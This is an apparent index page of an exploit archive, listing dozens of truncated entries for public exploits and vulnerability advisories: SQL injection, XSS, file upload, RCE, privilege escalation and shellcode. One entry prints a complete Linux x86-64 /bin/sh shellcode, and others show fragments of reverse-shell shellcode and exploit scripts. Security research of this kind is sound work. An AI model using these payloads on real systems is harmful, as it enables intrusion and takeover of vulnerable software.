Auto Dealer Management System v1.0 - SQL Injection Vulnerability (3)

Exploit Title: Auto Dealer Management System v1.0 - SQL Injection on manageuser.php Exploit Author: Muhammad Navaid Zafar Ansari CVE Assigned: CVE-2023-0915 mitre.org nvd.nist.org Vendor Homepage: https://www.sourcecodester.com Software Link: Auto Dealer Management System Version: v 1.0 Tested on...

Intel Data Center Manager 4.1 SQL Injection Vulnerability

Intel Data Center Manager's endpoint at "/DcmConsole/DataAccessServlet?action=getRoomRackData" is vulnerable to an authenticated, blind SQL injection attack when user-supplied input to the HTTP POST parameter "dataName" is processed by the web application. Versions 4.1 and below are affected. 1...

Zhuhai Suny Technology ESL Tag Forgery / Replay Attacks Vulnerability

Zhuhai Suny Technology ESL Tag suffers from replay attacks and a forgery attack allowing for the displaying of arbitrary contents. ======================================================================= title: Replay attacks & Displaying arbitrary contents product: Zhuhai Suny Technology ESL Tag ...

Senayan Library Management System 9.5.0 SQL Injection Vulnerability

Title: Senayan Library Management System v9.5.0 a.k.a SLIMS 9 BULIAN SQLi Author: nu11secur1ty Vendor: https://slims.web.id/web/ Software: https://github.com/slims/slims9bulian/releases Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.0...

Simple Bakery Shop Management System 1.0 SQL Injection Vulnerability

Title: Simple Bakery Shop Management System v1.0 remote SQL-Injections Author: nu11secur1ty Vendor: https://www.sourcecodester.com/users/tips23 Software: https://www.sourcecodester.com/php/15174/simple-bakery-shop-management-system-phpoop-free-source-code.html Description: The username parameter...

PHPIPAM 1.4.4 - SQL injection (Authenticated) Exploit

Exploit Title: PHPIPAM 1.4.4 - SQLi Authenticated Google Dork: if applicable Exploit Author: Rodolfo "Inc0gbyt3" Tavares Vendor Homepage: https://github.com/phpipam/phpipam Software Link: https://github.com/phpipam/phpipam Version: 1.4.4 Tested on: Linux/Windows CVE : CVE-2022-23046 import reques...

Phpwcms 1.9.30 - File Upload to XSS Vulnerability

Exploit Title: Phpwcms 1.9.30 - File Upload to XSS Exploit Author: Okan Kurtulus | okankurtulus.com.tr Software Link: http://www.phpwcms.org/ Version: 1.9.30 Tested on: Ubuntu 16.04 Steps: 1- You need to login to the system. http://target.com/phpwcms/login.php 2- Creating payload with SVG...

DiskBoss 7.7.14 - (Reports and Data Directory) Buffer Overflow (SEH Egghunter) Exploit

Exploit Title: DiskBoss 7.7.14 - 'Reports and Data Directory' Buffer Overflow SEH Egghunter Exploit Author: MasterVlad Vendor Homepage: https://www.diskboss.com/ Software Link: https://github.com/x00x00x00x00/diskboss7.7.14/raw/master/diskbosssetupv7.7.14.exe Version: 7.7.14 Vulnerability Type:...

SITS:Vision 9.7.0 Authentication Bypass Vulnerability

An authentication bypass vulnerability is present in the stand-alone SITS:Vision component of Tribal SITS in its default configuration, related to unencrypted communications sent by the client each time it is launched. This vulnerability allows unauthenticated attackers to gain access to...

Legrand BTicino Driver Manager F454 1.0.51 - Cross-Site Request Forgery / Cross-Site Scripting

Exploit for php platform in category web applications input type="hidden" name="password2" value="newpass1...

Linux - kvm_ioctl_create_device() NULL Pointer Dereference Exploit

Linux - kvmioctlcreatedevice NULL Pointer Dereference Exploit kvmioctlcreatedevice contains the following code: dev = kzallocsizeofdev, GFPKERNEL; if !dev return -ENOMEM; dev-ops = ops; dev-kvm = kvm; mutexlock&kvm-lock; ret = ops-createdev, cd-type; if ret lock; kfreedev; return ret;...

Net-Billetterie 2.9 - login SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Net-Billetterie 2.9 - 'login' SQL Injection Exploit Author: Ihsan Sencan Vendor Homepage: http://net-billetterie.tuxfamily.org/ Software Link: https://netix.dl.sourceforge.net/project/netbilletterie/Netbilletterie2.9.zip Version...

Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes)

/ global start section .text start: push 59 pop rax cdq push rdx mov rbx,0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi syscall / include include char code = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; // cha...

Joomla 3.7.5 LDAP Injection Vulnerability

Exploit for php platform in category web applications With over 84 million downloads, Joomla! is one of the most popular content management systems in the World Wide Web. It powers about 3.3% of all websites’ content and articles. Our code analysis solution RIPS detected a previously unknown LDAP...

OSSEC 2.8 - Insecure Temporary File Creation Vulnerability Privilege Escalation Exploit

Exploit for linux platform in category local exploits !/usr/bin/python Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation Date: 14-11-14 Exploit Author: skynet-13 Vendor Homepage: www.ossec.net/ Software Link:...

Craft CMS Twig Template Injection / Remote Code Execution Exploit

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Craft CMS Twig Template Injection RCE via FTP Templates Path', 'Description' = %q This module exploits a Twig template injection vulnerability in...

Metform Elementor Contact Form Builder v3.1.2 - Unauthenticated Stored Cross-Site Scripting Vulnerab

Exploit Title: Metform Elementor Contact Form Builder v3.1.2 - Unauthenticated Stored Cross-Site Scripting XSS Google Dork: inurl:metform-form intext:textarea|message Exploit Author: Mohammed Chemouri https://de.linkedin.com/in/chemouri Vendor Homepage: https://wpmet.com/plugin/metform/ Software...

Dingtian-DT-R002 3.1.276A - Authentication Bypass Exploit

Exploit Title: Dingtian-DT-R002 3.1.276A - Authentication Bypass Exploit Author: Victor Hanna Trustwave SpiderLabs Author Github Page: https://9lyph.github.io/CVE-2022-29593/ Vendor Homepage: https://www.dingtian-tech.com/enus/relay4.html Software Link:...

D-LINK DIR850 - Open Redirect Vulnerability

Exploit Title: DLINK DIR850 - Open Redirect Product: Dlink Model: DIR850 CVE: CVE-2021-46379 Exploit Author: AhmedAlroky Hardware version: b1 Firmware version: ET850-1.08TRb03 Vendor home page: https://www.dlink.com/ Exploit : Visit...

Microsoft RDP Remote Code Execution Exploit

!/usr/bin/python import socket from OpenSSL import from struct import pack, unpack from sys import argv, exit class x224ConnectionRequestPacket: def initself: total of 8 bytes self.rdpNegReq = pack ' 1110 E CDT - 0000 0 for class 0 and 1 0, dest-ref , 2 bytes fuzzable 0, src-ref , 2 bytes fuzzabl...

Virtual Airlines Manager 2.6.2 - Persistent Cross-Site Scripting Vulnerability

Exploit for php platform in category web applications Exploit Title: Virtual Airlines Manager 2.6.2 - Persistent Cross-Site Scripting Google Dork: inurl:"/vam/indexvamop.php" Exploit Author: Peter Blue Vendor Homepage: https://virtualairlinesmanager.net Software Link:...

Windows/x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes)

Title: Windows\x86 - Null-Free WinExec Calc.exe Shellcode 195 bytes Shellcode Author: Bobby Cooke Technique: PEB & Export Directory Table Tested On: Windows 10 Pro x86 10.0.18363 Build 18363 start: ; Create a new stack frame mov ebp, esp ; Set base stack pointer for new stack-frame sub esp, 0x20 ...

Adobe ColdFusion 2018 - Arbitrary File Upload Vulnerability

Exploit for multiple platform in category web applications Exploit Title: Unrestricted file upload in Adobe ColdFusion 2018 Google Dork: ext:cfm Exploit Author: Pete Freitag of Foundeo Reversed: Vahagn vah13 Vardanian Vendor Homepage: adobe.com Version: 2018 Tested on: Adobe ColdFusion 2018 CVE :...

WordPress WPDB SQL Injection Vulnerability

Exploit for php platform in category web applications Today, a significant SQL-Injection vulnerability was fixed in WordPress 4.8.3. Before reading further, if you haven’t updated yet stop right now and update. The foundations of this vulnerability was reported via Hacker-One on September 20th,...

Umbraco CMS 4.x Arbitrary aspx File Upload Vulnerability

Umbraco CMS version 4.x is vulnerable to a remote code execution vulnerability. An attacker can upload files via an unsecured web service located at /umbraco/webservices/codeEditorSave.asmx method SaveDLRScript. I created this exploit because in some audits the public exploit that juan vazquez...

WordPress Nabz Image Gallery 1.00 SQL Injection Vulnerability

CVE-2024-55981 Nabz Image Gallery = v1.00 - Unauthenticated SQL Injection Description The Nabz Image Gallery plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, v1.00 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation o...

Atlassian Confluence Administrator Code Macro Remote Code Execution Exploit

This Metasploit module exploits an authenticated administrator-level vulnerability in Atlassian Confluence, tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating tainted data from uploaded text files. This facilitates arbitrary code execution. This...

Siklu MultiHaul TG series < 2.0.0 - unauthenticated credential disclosure Exploit

Exploit Title: Siklu MultiHaul TG series - unauthenticated credential disclosure Exploit Author: semaja2 Vendor Homepage: https://siklu.com/ Software Link: https://partners.siklu.com/home/frontdoor Version: 2.0.0 Tested on: 2.0.0 CVE : None assigned Instructions 1. Perform IPv6 host detect by...

Tinycontrol LAN Controller 3 Remote Credential Extraction Exploit

!/usr/bin/env python Tinycontrol LAN Controller v3 LK3 Remote Credentials Extraction PoC Vendor: Tinycontrol Product web page: https://www.tinycontrol.pl Affected version: this with a calendar when - then. The device provides a user interface in the form of a web page. The website presents readin...

POLR URL 2.3.0 - Shortener Admin Account Takeover Exploit

Exploit Title: POLR URL 2.3.0 - Shortener Admin Takeover Exploit Author: p4kl0nc4t Vendor Homepage: - Software Link: https://github.com/cydrobolt/polr Version: 2.3.0 Tested on: Linux CVE : CVE-2021-21276 import json import requests payload = 'acctusername': 'admin', 'acctpassword': 'password',...

pdfkit v0.8.7.2 - Command Injection Exploit

!/usr/bin/env python3 Exploit Title: pdfkit v0.8.7.2 - Command Injection Date: 02/23/2023 Exploit Author: UNICORD NicPWNs & Dev-Yeoj Vendor Homepage: https://pdfkit.org/ Software Link: https://github.com/pdfkit/pdfkit Version: 0.0.0-0.8.7.2 Tested on: pdfkit 0.8.6 CVE: CVE-2022–25765 Source:...

GLPI Activity v3.1.0 - Authenticated Local File Inclusion on Activity plugin Vulnerability

Exploit Title: GLPI Activity v3.1.0 - Authenticated Local File Inclusion on Activity plugin Application: GLPI Activity 3.1.0 Author: Nuri Çilengir Vendor Homepage: https://glpi-project.org/ Software Link: https://github.com/InfotelGLPI/activity Advisory:...

Fast Food Ordering System 1.0 SQL Injection Vulnerability

Title: Fast Food Ordering System 1.0 SQLi Author: nu11secur1ty Vendor: https://www.sourcecodester.com/users/tips23 Software: https://www.sourcecodester.com/php/15366/fast-food-ordering-system-phpoop-free-source-code.html Reference:...

UDisk Monitor Z5 Phone - (MonServiceUDisk.exe) Unquoted Service Path Vulnerability

Exploit Title: UDisk Monitor Z5 Phone - 'MonServiceUDisk.exe' Unquoted Service Path Discovery by: Edgar Carrillo Egea // https://twitter.com/ecarrilloeg Vendor Homepage: https://www.zte.com.cn/global/ Tested Version: 2.0.3.0 Vulnerability Type: Unquoted Service Path Tested on OS: Microsoft Window...

Windows/x86 - XOR/DEC/NOT/ROR encrypted / encoded + null free reverse tcp Shellcode (840 bytes)

Windows/x86 - XOR/DEC/NOT/ROR XDNR encrypted / encoded + null free reverse tcp 192.168.201.11:4444 Shellcode 840 bytes / \ / /\ \ \ \ \ \ / | | \ / | | / / \ | / | \ | \ //\ / /| /| / / / / / X0R Cryptor with DEC/N0T/R0R encoder plus random byte insertion Author: @xen0vas / include...

Home Owners Collection Management System 1.0 - Remote Code Execution Vulnerability

Exploit Title: Home Owners Collection Management System 1.0 - Remote Code Execution RCE Authenticated Exploit Author: Saud Alenazi Vendor Homepage: https://www.sourcecodester.com/ Software Link:...

WordPress AAWP 3.16 Plugin - (tab) Reflected Cross Site Scripting Vulnerability

Exploit Title: WordPress Plugin AAWP 3.16 - 'tab' Reflected Cross Site Scripting XSS Authenticated Exploit Author: Andrea Bocchetti Vendor Homepage: https://getaawp.com/ Software Link: https://getaawp.com/ Version: 3.16 Tested on: Windows 10 - Chrome, WordPress 5.8.2 Proof of Concept: 1- Install...

TRIGONE Remote System Monitor 3.61 Unquoted Service Path Vulnerability

Exploit Title: TRIGONE Remote System Monitor 3.61 Unquoted Service Path Discovery by: Yehia Elghaly Vendor Homepage: https://www.trigonesoft.com/ Software Link: https://www.trigonesoft.com/download/RemoteSystemmonitorServer3.61x86Setup.exe Tested Version: 3.61 Vulnerability Type: Unquoted Service...

Fuel CMS 1.4.1 - Remote Code Execution Exploit (3)

Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution 3 Exploit Author: Padsala Trushal Vendor Homepage: https://www.getfuelcms.com/ Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 Version: ',epilog=f'EXAMPLE - python3 sys.argv0 -u http://10.10.21.74'...

Wordpress MStore API 2.0.6 Plugin - Arbitrary File Upload Vulnerability

Exploit Title: Wordpress Plugin MStore API 2.0.6 - Arbitrary File Upload Google Dork: inurl:/wp-content/plugins/mstore-api/ Exploit Author: spacehen Vendor Homepage: https://wordpress.org/plugins/mstore-api/ Version: 2.0.6, possibly higher Tested on: Ubuntu 20.04.1 import os.path from os import...

Church Management System 1.0 - search SQL Injection (Unauthenticated) Vulnerability

Exploit Title: Church Management System 1.0 - 'search' SQL Injection Unauthenticated Exploit Author: Erwin Krazek Nero Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html Software Link:...

Helpdezk 1.1.1 - Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications Exploit Title: Helpdezk 1.1.1 - Arbitrary File Upload Exploit Author: Ihsan Sencan Vendor Homepage: http://www.helpdezk.org/ Software Link: https://netcologne.dl.sourceforge.net/project/helpdezk/helpdezk-1.1.1.zip Version: 1.1.1 Category:...

OpenBiz Cubi Lite 3.0.8 - username SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection Exploit Author: Özkan Mustafa Akkuş AkkuS Contact: https://pentest.com.tr Vendor Homepage: https://sourceforge.net/projects/bigchef/ Software Link:...

Linux Kernel 2.6.x / 3.10.x / 4.14.x (x64) - Mutagen Astronomy Local Privilege Escalation Exploit

Exploit for linux platform in category local exploits / EDB-Note: Systems with less than 32GB of RAM are unlikely to be affected by this issue, due to memory demands during exploitation. EDB Note: poc-exploit.c / / poc-exploit.c for CVE-2018-14634 Copyright C 2018 Qualys, Inc. This program is fre...

Apache HTTPD Web Server 2.4.23 Memory Exhaustion Vulnerability

Exploit for linux platform in category remote exploits Apache HTTPD WebServer / httpd.apache.org Server memory can be exhausted and service denied when HTTP/2 is used CVE-2016-8740 The Apache HTTPD web server from 2.4.17-2.4.23 did not apply limitations on request headers correctly when...

Dotclear 2.29 - Remote Code Execution Exploit

Exploit Title: Dotclear 2.29 - Remote Code Execution RCE Discovered by: Ahmet Ümit BAYRAM Vendor Homepage: https://git.dotclear.org/explore/repos Software Link: https://github.com/dotclear/dotclear/archive/refs/heads/master.zip Tested Version: v2.29 latest Tested on: MacOS import requests import...

File Sharing Wizard 1.5.0 Denial Of Service Exploit

!/usr/bin/perl use IO::Socket::INET; Exploit Title: File Sharing Wizard 1.5.0 - Denial of Service DoS Discovery by: Fernando Mengali Discovery Date: 07 january 2024 Vendor Homepage: N/A Download to demo: https://drive.google.com/file/d/13fs9IHSaGQ27YIQNDyrQV20jCT7owPQ6/view?usp=sharing Notificati...

Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path Vulnerability

Exploit Title: Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL Vendor Homepage: https://jedox.com Version: Jedox 2020.2 20.2.5 and older CVE : CVE-2022-47878 Introduction...

Zoneminder < v1.37.24 - Log Injection & Stored XSS & CSRF Bypass Exploit

Exploit Title: Zoneminder v1.36.26 - Log Injection - CSRF Bypass - Stored Cross-Site Scripting XSS Exploit Author: Trenches of IT Vendor Homepage: https://github.com/ZoneMinder/zoneminder Version: v1.36.26 Tested on: Linux/Windows CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 Writeup:...

Senayan Library Management System 9.1.1 Cross Site Scripting Vulnerability

Title: Senayan Library Management System v9.1.1 a.k.a SLIMS 9 XSS-Reflected - PHPSESSID Hijacking + inserting webp image Author: nu11secur1ty Vendor: https://slims.web.id/web/ Software: https://github.com/slims/slims9bulian/releases/tag/v9.1.1 Reference:...